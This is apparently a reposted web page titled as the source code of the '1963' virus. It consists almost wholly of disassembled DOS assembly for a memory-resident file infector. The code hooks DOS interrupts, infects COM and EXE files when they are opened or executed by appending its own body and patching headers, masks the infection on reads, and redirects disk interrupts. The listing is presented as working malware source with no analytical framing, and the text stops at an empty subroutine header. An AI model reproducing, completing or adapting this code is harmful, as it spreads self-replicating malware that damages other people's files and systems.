1963源程序!!

    技术2022-05-11  117

     

    data_1e equ 4 ; (0000:0004=7FBh)

    data_2e equ 6 ; (0000:0006=70h)

    data_3e equ 4Ch ; (0000:004C=88h)

    data_4e equ 84h ; (0000:0084=16h)

    data_6e equ 0Ah ; (0046:000A=0)

    data_7e equ 16h ; (0046:0016=0)

    data_8e equ 2Ch ; (0046:002C=50h)

    data_9e equ 8ABh ; (0046:08AB=4146h)

    data_10e equ 8ADh ; (0046:08AD=3154h)

    data_11e equ 0Ah ; (08D4:000A=2F9h)

    data_12e equ 0Ch ; (08D4:000C=3872h)

    data_13e equ 100h ; (08D4:0100=0DFh)

    data_14e equ 1 ; (4815:0001=0FFFFh)

    data_15e equ 100h ; (4816:0100=0FFh)

    data_16e equ 1 ; (8343:0001=0FFFFh)

    data_17e equ 0Ah ; (8344:000A=0)

    data_18e equ 0Eh ; (8344:000E=8344h)

    data_49e equ 900h ; (8344:0900=0)

    data_50e equ 902h ; (8344:0902=0)

    data_51e equ 904h ; (8344:0904=8344h)

    data_52e equ 906h ; (8344:0906=0)

    data_53e equ 9EFh ; (8344:09EF=0)

    data_54e equ 10AFh ; (8344:10AF=0)

    data_55e equ 10B1h ; (8344:10B1=0)

    data_56e equ 10B3h ; (8344:10B3=0)

    seg_a segment byte public

    assume cs:seg_a, ds:seg_a

    org 100h

    virus proc far

    start:

    mov ah,30h ; '0'

    int 21h ; DOS Services ah=function 30h

    ; get DOS version number ax

    cmp al,3

    jb loc_1 ; Jump if below

    mov ax,1200h

    int 2Fh ; Multiplex/Spooler al=func 00h

    ; get installed status

    cmp al,0FFh

    loc_1:

    mov ax,0Bh

    jc loc_4 ; Jump if carry Set

    mov ah,4Ah ; 'J'

    mov bx,140h

    int 21h ; DOS Services ah=function 4Ah

    ; change mem allocation, bx=siz

    jc loc_4 ; Jump if carry Set

    cli ; Disable interrupts

    push cs

    pop ss

    mov sp,13FEh

    call sub_1 ; (01EB)

    sti ; Enable interrupts

    mov ax,ds:data_8e ; (0046:002C=50h)

    or ax,ax ; Zero ?

    jz loc_5 ; Jump if zero

    call sub_13 ; (07EC)

    mov es,ax

    xor di,di ; Zero register

    xor ax,ax ; Zero register

    loc_2:

    scasw ; Scan es:[di] for ax

    jnz loc_2 ; Jump if not zero

    scasw ; Scan es:[di] for ax

    mov dx,di

    push es

    pop ds

    mov ah,48h ; 'H'

    mov bx,0FFFFh

    int 21h ; DOS Services ah=function 48h

    ; allocate memory, bx=bytes/16

    mov ah,48h ; 'H'

    int 21h ; DOS Services ah=function 48h

    ; allocate memory, bx=bytes/16

    mov es,ax

    mov ah,49h ; 'I'

    int 21h ; DOS Services ah=function 49h

    ; release memory block, es=seg

    xor ax,ax ; Zero register

    mov cx,bx

    mov bx,es

    locloop_3:

    push cx

    mov cx,8

    xor di,di ; Zero register

    rep stosw ; Rep when cx >0 Store ax to es:[di]

    inc bx

    mov es,bx

    pop cx

    loop locloop_3 ; Loop if cx > 0

    push cs

    pop es

    mov bx,data_51e ; (8344:0904=44h)

    mov di,bx

    stosw ; Store ax to es:[di]

    mov al,80h

    stosw ; Store ax to es:[di]

    mov ax,cs

    stosw ; Store ax to es:[di]

    mov ax,5Ch

    stosw ; Store ax to es:[di]

    mov ax,cs

    stosw ; Store ax to es:[di]

    mov ax,6Ch

    stosw ; Store ax to es:[di]

    mov ax,cs

    stosw ; Store ax to es:[di]

    mov ax,4B00h

    int 21h ; DOS Services ah=function 4Bh

    ; run progm @ds:dx, parm @es:bx

    loc_4:

    push cs

    pop ds

    call sub_13 ; (07EC)

    jmp dword ptr cs:data_17e ; (8344:000A=0)

    loc_5:

    mov ax,1220h

    mov bx,5

    int 2Fh ; ??INT Non-standard interrupt.

    push bx

    dec bx

    dec bx

    mov es:[di],bl

    mov ax,1216h

    int 2Fh ; ??INT Non-standard interrupt.

    dec bx

    dec bx

    mov es:[di],bx

    mov ah,48h ; 'H'

    mov bx,0FFFFh

    int 21h ; DOS Services ah=function 48h

    ; allocate memory, bx=bytes/16

    mov ah,48h ; 'H'

    int 21h ; DOS Services ah=function 48h

    ; allocate memory, bx=bytes/16

    mov ds,ax

    pop bx

    mov ax,4200h

    xor cx,cx ; Zero register

    xor dx,dx ; Zero register

    int 21h ; DOS Services ah=function 42h

    ; move file ptr, cx,dx=offset

    mov ah,3Fh ; '?'

    mov dx,data_15e ; (4816:0100=0FFh)

    mov cx,es:[di+11h]

    int 21h ; DOS Services ah=function 3Fh

    ; read file, cx=bytes, to ds:dx

    jc loc_4 ; Jump if carry Set

    mov ah,3Eh ; '>'

    int 21h ; DOS Services ah=function 3Eh

    ; close file, bx=file handle

    mov ah,26h ; '&'

    mov dx,ds

    int 21h ; DOS Services ah=function 26h

    ; create progm seg prefix dx

    dec dx

    mov es,dx

    mov es:data_14e,ds ; (4815:0001=0FFFFh)

    inc dx

    mov es,dx

    mov ss,dx

    mov sp,0FFFEh

    push ds

    mov ax,100h

    push ax

    retf ; Return far

    virus endp

    ;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    ; SUBROUTINE

    ;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

    sub_1 proc near

    push ds

    mov ax,1203h

    int 2Fh ; Multiplex/Spooler al=func 03h

    ; remove all files from queue

    mov cs:data_51e,ds ; (8344:0904=8344h)

    xor si,si ; Zero register

    mov ds,si

    mov di,288h

    mov si,cs

    xchg di,ds:data_1e ; (0000:0004=7FBh)

    xchg si,ds:data_2e ; (0000:0006=70h)

    pushf ; Push flags

    pushf ; Push flags

    pushf ; Push flags

    mov bp,sp

    or byte ptr [bp+1],1

    popf ; Pop flags

    pushf ; Push flags

    pushf ; Push flags

    mov word ptr cs:data_52e,8AFh ; (8344:0906=0)

    mov ah,1

    call dword ptr ds:data_3e ; (0000:004C=2288h)

    popf ; Pop flags

    mov word ptr cs:data_52e,8ABh ; (8344:0906=0)

    mov ah,0Bh

    call dword ptr ds:data_4e ; (0000:0084=1716h)

    popf ; Pop flags

    mov ds:data_1e,di ; (0000:0004=7FBh)

    mov ds:data_2e,si ; (0000:0006=70h)

    pop ds

    push ds

    push es

    mov bx,cs

    mov bp,2AEh

    mov ax,ds:data_9e ; (0046:08AB=4146h)

    mov dx,ds:data_10e ; (0046:08AD=3154h)

    xor si,si ; Zero register

    mov ds,si

    cmp ax,ds:data_4e ; (0000:0084=1716h)

    jne loc_6 ; Jump if not equal

    cmp dx,word ptr ds:data_4e+2 ; (0000:0086=2C7h)

    jne loc_6 ; Jump if not equal

    mov ds:data_4e,bp ; (0000:0084=1716h)

    mov word ptr ds:data_4e+2,bx ; (0000:0086=2C7h)

    jmp short loc_10 ; (0285)

    loc_6:

    mov ax,8ABh

    mov es,bx

    mov cx,10h

    cld ; Clear direction

    locloop_7:

    mov di,ax

    mov ds,dx

    cmpsw ; Cmp [si] to es:[di]

    jnz loc_9 ; Jump if not zero

    cmpsw ; Cmp [si] to es:[di]

    jnz loc_8 ; Jump if not zero

    mov [si-4],bp

    mov [si-2],bx

    loc_8:

    dec si

    dec si

    loc_9:

    dec si

    loop locloop_7 ; Loop if cx > 0

    xchg si,cx

    inc dx

    cmp dx,bx

    jne locloop_7 ; Jump if not equal

    loc_10:

    pop es

    pop ds

    retn

    sub_1 endp

    push bp

    mov bp,sp

    push ax

    mov ax,[bp+4]

    cmp ax,cs:data_51e ; (8344:0904=8344h)

    ja loc_11 ; Jump if above

    push bx

    mov bx,cs:data_52e ; (8344:0906=0)

    mov cs:[bx+2],ax

    mov ax,[bp+2]

    mov cs:[bx],ax

    and byte ptr [bp+7],0FEh

    pop bx

    loc_11:

    pop ax

    pop bp

    iret ; Interrupt return

    db 55h, 8Bh,0ECh, 80h,0FCh, 48h

    db 74h, 0Ah, 80h,0FCh, 4Ah, 74h

    db 05h, 3Dh, 03h, 4Bh, 75h, 0Ch

    db 0E8h, 89h, 05h,0E8h,0AFh, 05h

    db 9Ch,0E8h, 87h, 05h,0EBh, 55h

    db 80h,0FCh, 31h, 74h, 05h, 80h

    db 0FCh

    db 4Ch, 75h, 0Dh

    loc_12:

    push bx

    mov bx,13h

    loc_13:

    call sub_5 ; (0532)

    dec bx

    jns loc_13 ; Jump if not sign

    pop bx

    jmp short loc_23 ; (0342)

    loc_14:

    cmp ah,0Fh

    je loc_15 ; Jump if equal

    cmp ah,10h

    je loc_15 ; Jump if equal

    cmp ah,17h

    je loc_15 ; Jump if equal

    cmp ah,23h ; '#'

    jne loc_16 ; Jump if not equal

    loc_15:

    call sub_15 ; (081F)

    jmp short loc_23 ; (0342)

    loc_16:

    cmp ah,3Fh ; '?'

    jne loc_20 ; Jump if not equal

    call sub_5 ; (0532)

    jnc loc_18 ; Jump if carry=0

    mov ax,5

    loc_17:

    jmp loc_37 ; (0403)

    loc_18:

    jnz loc_23 ; Jump if not zero

    call sub_22 ; (0875)

    jc loc_17 ; Jump if carry Set

    pushf ; Push flags

    call sub_24 ; (0884)

    push ds

    pop es

    mov di,dx

    call sub_11 ; (0785)

    call sub_25 ; (0896)

    loc_19:

    popf ; Pop flags

    pop bp

    retf 2 ; Return far

    loc_20:

    cmp ah,3Dh ; '='

    je loc_21 ; Jump if equal

    cmp ah,43h ; 'C'

    je loc_21 ; Jump if equal

    cmp ah,56h ; 'V'

    jne loc_22 ; Jump if not equal

    loc_21:

    call sub_3 ; (0519)

    jmp short loc_23 ; (0342)

    loc_22:

    cmp ah,3Eh ; '>'

    jne loc_24 ; Jump if not equal

    call sub_5 ; (0532)

    loc_23:

    push word ptr [bp+6]

    popf ; Pop flags

    pop bp

    cli ; Disable interrupts

    jmp dword ptr cs:data_20 ; (8344:08AB=0)

    loc_24:

    cmp ah,14h

    je loc_25 ; Jump if equal

    cmp ah,21h ; '!'

    je loc_25 ; Jump if equal

    cmp ah,27h ; '''

    je loc_25 ; Jump if equal

    jmp loc_35 ; (03DE)

    loc_25:

    call sub_15 ; (081F)

    jnc loc_27 ; Jump if carry=0

    loc_26:

    pop bp

    mov al,1

    iret ; Interrupt return

    loc_27:

    jnz loc_23 ; Jump if not zero

    call sub_24 ; (0884)

    call sub_14 ; (0814)

    cmp ah,14h

    jne loc_28 ; Jump if not equal

    mov ax,[si+0Ch]

    mov dx,80h

    mul dx ; dx:ax = reg * ax

    xor bx,bx ; Zero register

    add al,[si+20h]

    adc ah,bl

    adc bx,dx

    xchg ax,bx

    jmp short loc_29 ; (038F)

    loc_28:

    mov ax,[si+23h]

    mov bx,[si+21h]

    loc_29:

    mov cx,[si+0Eh]

    mul cx ; dx:ax = reg * ax

    jnc loc_31 ; Jump if carry=0

    loc_30:

    call sub_25 ; (0896)

    jmp short loc_26 ; (0364)

    loc_31:

    xchg ax,bx

    mul cx ; dx:ax = reg * ax

    add dx,bx

    jc loc_30 ; Jump if carry Set

    mov cs:data_37,ax ; (8344:08D0=0)

    mov cs:data_38,dx ; (8344:08D2=0)

    mov cs:data_39,cx ; (8344:08D4=0)

    call sub_25 ; (0896)

    call sub_22 ; (0875)

    or al,al ; Zero ?

    jz loc_32 ; Jump if zero

    cmp al,3

    jne loc_34 ; Jump if not equal

    loc_32:

    call sub_24 ; (0884)

    cmp ah,27h ; '''

    mov ax,cs:data_39 ; (8344:08D4=0)

    jnz loc_33 ; Jump if not zero

    mul cx ; dx:ax = reg * ax

    jc loc_30 ; Jump if carry Set

    loc_33:

    push ax

    mov ah,2Fh ; '/'

    int 21h ; DOS Services ah=function 2Fh

    ; get DTA ptr into es:bx

    mov di,bx

    pop ax

    call sub_11 ; (0785)

    call sub_25 ; (0896)

    loc_34:

    pop bp

    iret ; Interrupt return

    loc_35:

    cmp ax,4B00h

    je loc_38 ; Jump if equal

    cmp ax,4B01h

    je loc_36 ; Jump if equal

    jmp loc_23 ; (0342)

    loc_36:

    call sub_2 ; (042F)

    jc loc_37 ; Jump if carry Set

    push si

    push di

    push ds

    push cs

    pop ds

    mov si,offset data_41 ; (8344:08E2=0)

    lea di,[bx+0Eh] ; Load effective addr

    cld ; Clear direction

    movsw ; Mov [si] to es:[di]

    movsw ; Mov [si] to es:[di]

    movsw ; Mov [si] to es:[di]

    movsw ; Mov [si] to es:[di]

    pop ds

    pop di

    pop si

    loc_37:

    pushf ; Push flags

    shr byte ptr [bp+6],1 ; Shift w/zeros fill

    popf ; Pop flags

    rcl byte ptr [bp+6],1 ; Rotate thru carry

    pop bp

    iret ; Interrupt return

    loc_38:

    call sub_2 ; (042F)

    jc loc_37 ; Jump if carry Set

    push ax

    mov ah,51h ; 'Q'

    int 21h ; DOS Services ah=function 51h

    ; get active PSP segment in bx

    mov ds,bx

    mov es,bx

    pop ax

    cli ; Disable interrupts

    mov sp,cs:data_41 ; (8344:08E2=0)

    mov ss,cs:data_42 ; (8344:08E4=0)

    inc sp

    inc sp

    sti ; Enable interrupts

    jmp dword ptr cs:data_43 ; (8344:08E6=0)

    ;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    ; SUBROUTINE

    ;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

    sub_2 proc near

    call sub_24 ; (0884)

    stc ; Set carry flag

    call sub_4 ; (051A)

    loc_39:

    mov ax,0Bh

    jc loc_40 ; Jump if carry Set

    cld ; Clear direction

    pushf ; Push flags

    push ds

    mov ax,3522h

    int 21h ; DOS Services ah=function 35h

    ; get intrpt vector al in es:bx

    mov cs:data_24,bx ; (8344:08B7=0)

    mov word ptr cs:data_24+2,es ; (8344:08B9=8344h)

    lds si,dword ptr [bp+0Ah] ; Load 32 bit ptr

    push cs

    pop es

    mov di,offset data_39 ; (8344:08D4=0)

    mov bx,di

    mov cx,7

    rep movsw ; Rep when cx >0 Mov [si] to es:[di]

    pop ds

    call sub_16 ; (084C)

    push dx

    mov ax,4B01h

    call sub_23 ; (0879)

    pop dx

    call sub_17 ; (0851)

    jnc loc_42 ; Jump if carry=0

    loc_40:

    mov [bp+8],ax

    loc_41:

    call sub_25 ; (0896)

    retn

    loc_42:

    mov [bp+8],ax

    mov ah,51h ; 'Q'

    int 21h ; DOS Services ah=function 51h

    ; get active PSP segment in bx

    mov es,bx

    mov si,[bp]

    lds dx,dword ptr ss:[si+2] ; Load 32 bit ptr

    mov es:data_11e,dx ; (08D4:000A=2F9h)

    mov es:data_12e,ds ; (08D4:000C=3872h)

    mov ax,2522h

    int 21h ; DOS Services ah=function 25h

    ; set intrpt vector al to ds:dx

    popf ; Pop flags

    jnz loc_41 ; Jump if not zero

    push cs

    pop ds

    mov si,data_51e ; (8344:0904=44h)

    mov di,data_13e ; (08D4:0100=0DFh)

    mov cx,7ABh

    rep movsb ; Rep when cx >0 Mov [si] to es:[di]

    call sub_7 ; (0758)

    jz loc_44 ; Jump if zero

    loc_43:

    clc ; Clear carry flag

    jmp short loc_41 ; (0470)

    loc_44:

    mov di,bx

    add di,10h

    mov ax,ds:data_55e ; (8344:10B1=0)

    mov word ptr data_43,ax ; (8344:08E6=0)

    mov ax,ds:data_56e ; (8344:10B3=0)

    add ax,di

    mov word ptr data_43+2,ax ; (8344:08E8=0)

    mov cx,ds:data_54e ; (8344:10AF=0)

    or cx,cx ; Zero ?

    jz loc_43 ; Jump if zero

    lds dx,dword ptr [bp+0Eh] ; Load 32 bit ptr

    call sub_18 ; (0862)

    jc loc_47 ; Jump if carry Set

    mov bx,ax

    push cx

    push cs

    pop ds

    xor cx,cx ; Zero register

    mov dx,ds:data_50e ; (8344:0902=0)

    call sub_20 ; (086B)

    mov dx,904h

    pop cx

    locloop_45:

    push cx

    mov cx,4

    call sub_8 ; (0764)

    pop cx

    jc loc_46 ; Jump if carry Set

    mov si,dx

    push ds

    mov ax,[si+2]

    mov si,[si]

    add ax,di

    mov ds,ax

    add [si],di

    pop ds

    loop locloop_45 ; Loop if cx > 0

    call sub_19 ; (0867)

    jmp short loc_43 ; (04A8)

    loc_46:

    call sub_19 ; (0867)

    loc_47:

    push es

    pop ds

    les bx,dword ptr cs:data_24 ; (8344:08B7=0) Load 32 bit ptr

    mov ds:data_17e,bx ; (8344:000A=0)

    mov ds:data_18e,es ; (8344:000E=8344h)

    call sub_13 ; (07EC)

    stc ; Set carry flag

    jmp loc_39 ; (0436)

    sub_2 endp

    ;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    ; SUBROUTINE

    ;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

    sub_3 proc near

    clc ; Clear carry flag

    ;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    sub_4:

    push ax

    push bx

    pushf ; Push flags

    call sub_18 ; (0862)

    jc loc_48 ; Jump if carry Set

    mov bx,ax

    popf ; Pop flags

    pushf ; Push flags

    call sub_6 ; (0533)

    pushf ; Push flags

    call sub_19 ; (0867)

    popf ; Pop flags

    loc_48:

    pop bx

    pop bx

    pop ax

    retn

    sub_3 endp

    ;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    ; SUBROUTINE

    ;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

    sub_5 proc near

    clc ; Clear carry flag

    ;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    sub_6:

    cld ; Clear direction

    call sub_24 ; (0884)

    pushf ; Push flags

    push bx

    mov ax,1220h

    int 2Fh ; ??INT Non-standard interrupt.

    jc loc_49 ; Jump if carry Set

    xor bh,bh ; Zero register

    mov bl,es:[di]

    mov ax,1216h

    int 2Fh ; ??INT Non-standard interrupt.

    jnc loc_50 ; Jump if carry=0

    loc_49:

    call sub_25 ; (0896)

    retn

    loc_50:

    push es

    push cs

    pop ds

    mov ax,3523h

    int 21h ; DOS Services ah=function 35h

    ; get intrpt vector al in es:bx

    mov data_26,bx ; (8344:08BB=0)

    mov word ptr data_26+2,es ; (8344:08BD=8344h)

    inc ax

    int 21h ; DOS Services ah=function 35h

    ; get intrpt vector al in es:bx

    mov data_28,bx ; (8344:08BF=0)

    mov word ptr data_28+2,es ; (8344:08C1=8344h)

    mov ah,25h ; '%'

    mov dx,offset int_24h_entry

    int 21h ; DOS Services ah=function 25h

    ; set intrpt vector al to ds:dx

    dec ax

    inc dx

    inc dx

    int 21h ; DOS Services ah=function 25h

    ; set intrpt vector al to ds:dx

    pop es

    pop bx

    mov al,2

    xchg al,es:[di+2]

    mov data_33,al ; (8344:08C9=0)

    mov ax,es:[di+5]

    mov data_34,ax ; (8344:08CA=0)

    mov ax,es:[di+15h]

    mov data_37,ax ; (8344:08D0=0)

    mov ax,es:[di+17h]

    mov data_38,ax ; (8344:08D2=0)

    mov ax,es:[di+11h]

    mov dx,es:[di+13h]

    mov data_35,ax ; (8344:08CC=0)

    mov data_36,dx ; (8344:08CE=0)

    cmp ax,1Ah

    sbb dx,0

    jc loc_55 ; Jump if carry Set

    popf ; Pop flags

    jc loc_52 ; Jump if carry Set

    mov ax,es:[di+28h]

    cmp ax,5845h

    je loc_51 ; Jump if equal

    cmp ax,4F43h

    jne loc_55 ; Jump if not equal

    mov al,4Dh ; 'M'

    loc_51:

    cmp al,es:[di+2Ah]

    jne loc_55 ; Jump if not equal

    loc_52:

    xor cx,cx ; Zero register

    xor dx,dx ; Zero register

    call sub_20 ; (086B)

    mov dx,8EAh

    mov cl,1Ah

    call sub_8 ; (0764)

    jc loc_57 ; Jump if carry Set

    xor cx,cx ; Zero register

    xor dx,dx ; Zero register

    call sub_7 ; (0758)

    jnz loc_53 ; Jump if not zero

    mov ax,data_47 ; (8344:08F2=0)

    mov dl,10h

    mul dx ; dx:ax = reg * ax

    mov cx,dx

    mov dx,ax

    loc_53:

    push cx

    push dx

    add dx,7ABh

    adc cx,0

    cmp cx,data_36 ; (8344:08CE=0)

    jne loc_54 ; Jump if not equal

    cmp dx,data_35 ; (8344:08CC=0)

    loc_54:

    pop dx

    pop cx

    jbe loc_56 ; Jump if below or =

    loc_55:

    jmp short loc_62 ; (065D)

    loc_56:

    push cx

    push dx

    call sub_20 ; (086B)

    mov dx,904h

    mov cx,7ABh

    call sub_8 ; (0764)

    jnc loc_58 ; Jump if carry=0

    loc_57:

    jmp short loc_60 ; (0656)

    loc_58:

    push es

    push di

    push cs

    pop es

    mov si,data_53e ; (8344:09EF=0)

    mov di,offset ds:[1EBh] ; (8344:01EB=1Eh)

    mov cx,0C3h

    repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]

    pop di

    pop es

    jnz loc_65 ; Jump if not zero

    mov dx,cx

    call sub_21 ; (0870)

    mov cx,7ADh

    mov dx,904h

    call sub_7 ; (0758)

    jnz loc_59 ; Jump if not zero

    add cx,6

    loc_59:

    add es:[di+11h],cx

    adc word ptr es:[di+13h],0

    call sub_8 ; (0764)

    jc loc_60 ; Jump if carry Set

    mov si,dx

    dec cx

    dec cx

    call sub_10 ; (0778)

    cmp dx,[si]

    je loc_61 ; Jump if equal

    loc_60:

    stc ; Set carry flag

    jmp short loc_63 ; (0661)

    loc_61:

    cmp al,al

    jmp short loc_63 ; (0661)

    loc_62:

    mov al,1

    cmp al,0

    loc_63:

    pushf ; Push flags

    loc_64:

    mov si,offset data_33 ; (8344:08C9=0)

    cld ; Clear direction

    inc di

    inc di

    movsb ; Mov [si] to es:[di]

    inc di

    inc di

    movsw ; Mov [si] to es:[di]

    add di,0Ah

    movsw ; Mov [si] to es:[di]

    movsw ; Mov [si] to es:[di]

    movsw ; Mov [si] to es:[di]

    movsw ; Mov [si] to es:[di]

    mov ax,2524h

    lds dx,dword ptr data_28 ; (8344:08BF=0) Load 32 bit ptr

    int 21h ; DOS Services ah=function 25h

    ; set intrpt vector al to ds:dx

    dec ax

    lds dx,dword ptr cs:data_26 ; (8344:08BB=0) Load 32 bit ptr

    int 21h ; DOS Services ah=function 25h

    ; set intrpt vector al to ds:dx

    popf ; Pop flags

    call sub_25 ; (0896)

    retn

    loc_65:

    test byte ptr es:[di+4],4

    jnz loc_62 ; Jump if not zero

    mov ah,0Dh

    int 21h ; DOS Services ah=function 0Dh

    ; flush disk buffers to disk

    push bx

    push ds

    push es

    mov ax,3540h

    int 21h ; DOS Services ah=function 35h

    ; get intrpt vector al in es:bx

    mov data_30,bx ; (8344:08C3=0)

    mov word ptr data_30+2,es ; (8344:08C5=8344h)

    mov al,13h

    int 21h ; DOS Services ah=function 35h

    ; get intrpt vector al in es:bx

    mov data_22,bx ; (8344:08B3=0)

    mov word ptr data_22+2,es ; (8344:08B5=8344h)

    mov ah,25h ; '%'

    lds dx,data_21 ; (8344:08AF=0) Load 32 bit ptr

    int 21h ; DOS Services ah=function 25h

    ; set intrpt vector al to ds:dx

    mov al,40h ; '@'

    ;* mov dx,offset loc_85 ;*

    db 0BAh, 59h,0ECh

    mov bx,0F000h

    mov ds,bx

    int 21h ; DOS Services ah=function 25h

    ; set intrpt vector al to ds:dx

    pop es

    pop ds

    pop bx

    xor cx,cx ; Zero register

    xor dx,dx ; Zero register

    call sub_21 ; (0870)

    mov cx,7ABh

    mov si,904h

    call sub_7 ; (0758)

    jnz loc_66 ; Jump if not zero

    add cx,6

    mov ax,data_46 ; (8344:08F0=0)

    mov ds:data_54e,ax ; (8344:10AF=0)

    mov ax,data_48 ; (8344:08FE=0)

    mov ds:data_55e,ax ; (8344:10B1=0)

    mov ax,ds:data_49e ; (8344:0900=0)

    mov ds:data_56e,ax ; (8344:10B3=0)

    loc_66:

    push si

    call sub_10 ; (0778)

    mov [si],dx

    pop dx

    inc cx

    inc cx

    call sub_9 ; (076E)

    jc loc_68 ; Jump if carry Set

    pop dx

    pop cx

    call sub_20 ; (086B)

    mov dx,100h

    mov cx,7ABh

    call sub_9 ; (076E)

    jc loc_69 ; Jump if carry Set

    call sub_7 ; (0758)

    jnz loc_67 ; Jump if not zero

    xor cx,cx ; Zero register

    mov data_46,cx ; (8344:08F0=0)

    mov data_48,dx ; (8344:08FE=0)

    mov word ptr ds:data_49e,0FFF0h ; (8344:0900=0)

    xor dx,dx ; Zero register

    call sub_20 ; (086B)

    mov dx,8EAh

    mov cx,1Ah

    call sub_9 ; (076E)

    jc loc_69 ; Jump if carry Set

    loc_67:

    cmp al,al

    jmp short loc_70 ; (073C)

    loc_68:

    mov al,1

    cmp al,0

    jmp short loc_70 ; (073C)

    loc_69:

    stc ; Set carry flag

    loc_70:

    pushf ; Push flags

    mov ah,0Dh

    int 21h ; DOS Services ah=function 0Dh

    ; flush disk buffers to disk

    push ds

    mov ax,2513h

    lds dx,dword ptr data_22 ; (8344:08B3=0) Load 32 bit ptr

    int 21h ; DOS Services ah=function 25h

    ; set intrpt vector al to ds:dx

    mov al,40h ; '@'

    lds dx,dword ptr cs:data_30 ; (8344:08C3=0) Load 32 bit ptr

    int 21h ; DOS Services ah=function 25h

    ; set intrpt vector al to ds:dx

    pop ds

    jmp loc_64 ; (0662)

    sub_5 endp

    ;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    ; SUBROUTINE

    ;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

    sub_7 proc near

    mov ax,data_45 ; (8344:08EA=0)

    cmp ax,5A4Dh

    je loc_ret_71 ; Jump if equal

    cmp ax,4D5Ah

    loc_ret_71:

    retn

    sub_7 endp

    ;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    ; SUBROUTINE

    ;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

    sub_8 proc near

    mov ah,3Fh ; '?'

    call sub_23 ; (0879)

    jc loc_ret_72 ; Jump if carry Set

    cmp ax,cx

    loc_ret_72:

    retn

    sub_8 endp

    ;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    ; SUBROUTINE

    ;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

    sub_9 proc near

    mov ah,40h ; '@'

    call sub_23 ; (0879)

    jc loc_ret_73 ; Jump if carry Set

    cmp ax,cx

    loc_ret_73:

    retn

    sub_9 endp

    ;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    ; SUBROUTINE

    ;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

    sub_10 proc near

    push cx

    xor dx,dx ; Zero register

    locloop_74:

    lodsb ; String [si] to al

    add dl,al

    adc dh,0

    loop locloop_74 ; Loop if cx > 0

    pop cx

    retn

    sub_10 endp

    ;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    ; SUBROUTINE

    ;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

    sub_11 proc near

    push cs

    pop ds

    mov si,904h

    mov bx,ax

    mov cx,7ABh

    call sub_7 ; (0758)

    jnz loc_75 ; Jump if not zero

    mov ax,data_47 ; (8344:08F2=0)

    mov dx,10h

    mul dx ; dx:ax = reg * ax

    push bx

    push di

    call sub_12 ; (07BF)

    pop di

    pop bx

    mov si,offset data_45 ; (8344:08EA=0)

    mov cx,1Ah

    mov ax,ds:data_54e ; (8344:10AF=0)

    mov data_46,ax ; (8344:08F0=0)

    mov ax,ds:data_55e ; (8344:10B1=0)

    mov data_48,ax ; (8344:08FE=0)

    mov ax,ds:data_56e ; (8344:10B3=0)

    mov ds:data_49e,ax ; (8344:0900=0)

    loc_75:

    xor ax,ax ; Zero register

    xor dx,dx ; Zero register

    ;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    sub_12:

    sub ax,data_37 ; (8344:08D0=0)

    sbb dx,data_38 ; (8344:08D2=0)

    jc loc_76 ; Jump if carry Set

    jnz loc_ret_79 ; Jump if not zero

    sub bx,ax

    jbe loc_ret_79 ; Jump if below or =

    add di,ax

    jmp short loc_77 ; (07E2)

    loc_76:

    neg ax

    adc dx,0

    neg dx

    jnz loc_ret_79 ; Jump if not zero

    sub cx,ax

    jbe loc_ret_79 ; Jump if below or =

    add si,ax

    loc_77:

    cmp cx,bx

    jbe loc_78 ; Jump if below or =

    mov cx,bx

    loc_78:

    cld ; Clear direction

    rep movsb ; Rep when cx >0 Mov [si] to es:[di]

    loc_ret_79:

    retn

    sub_11 endp

    ;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    ; SUBROUTINE

